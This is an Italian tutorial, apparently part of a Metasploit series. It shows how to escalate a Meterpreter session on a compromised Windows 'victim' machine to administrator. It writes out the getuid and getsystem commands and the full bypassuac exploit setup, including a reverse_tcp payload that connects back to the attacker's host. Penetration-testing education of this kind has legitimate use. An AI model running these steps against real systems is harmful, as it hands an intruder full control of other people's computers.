Abbiamo concluso con successo tutti i passaggi della prima guida della rubrica su Metasploit Framework, guadagnando l’accesso alla macchina Windows bersaglio mediante una sessione di Meterpreter e lanciato il comando sysinfo
per ottenere qualche informazione utile sulla vittima. Abbiamo già un ottimo livello di controllo sul nostro target, ma provando ad eseguire qualche operazione su di esso ci siamo accorti che non abbiamo sufficienti privilegi per svolgerle.
Windows, infatti, come la maggior parte dei sistemi operativi, prevede vari tipi di utente. I due più importanti sono l’utente standard, quello che viene utilizzato per le operazioni più comuni, come la lettura e la modifica di file e l’utilizzo normale di programmi, e l’utente amministratore, a cui sono riservati i compiti più delicati, come l’installazione e la rimozione di applicazioni e la modifica di file protetti e di sistema.
Con ogni probabilità, la vittima che ha cliccato sull’eseguibile che conteneva il payload, dandoci l’accesso al suo PC, era un utente standard, motivo per il quale anche la sessione di Meterpreter che si è aperta ha gli stessi privilegi e non ci consente, per esempio, di modificare il registro di sistema del bersaglio. Possiamo averne la riprova lanciando il comando getuid
. Come si può notare nell’immagine che segue, l’output è nome_pc\nome_utente.
Meterpreter dispone di uno script chiamato getsystem, che permette di sorpassare le autorizzazioni imposte dall’utente standard, dando alla sessione i privilegi di amministrazione sul sistema. Microsoft dal canto suo, da Windows Vista in poi, si difende con UAC (User Account Control), un modulo software che impedisce agli utenti non autorizzati di installare ed eseguire software, specialmente quello dannoso, modificare o addirittura danneggiare dati e parti del sistema, rendendolo completamente inutilizzabile. Se proviamo a usare il comando getsystem
sul target, infatti, otteniamo il seguente output:
Nulla di fatto.
Bypassare lo User Account Control – Bypass UAC
Mettiamo in background la sessione corrente di Meterpreter, lasciandola attiva, per avere la possibilità di configurare un’altro exploit, con il comando (indovinate un po’) background
e tramite l’output di quest’ultimo ricaviamo l’ID della sessione
Impostiamo il nuovo exploit con i seguenti comandi, che ci permetteranno di aggirare UAC ottenendo una nuova sessione di Meterpreter
use exploit/windows/local/bypassuac set PAYLOAD windows/meterpreter/reverse_tcp set LHOST [indirizzo_ip_macchina_attaccante] set LPORT [porta_di_connessione_payload] set SESSION [id_sessione_in_background] run
Privilege escalation con getsystem
Dalla nuova sessione possiamo prendere il controllo totale della macchina infettata, tramite il comando getsystem
L’output di getuid
ci darà ulteriore conferma dei nostri privilegi di amministrazione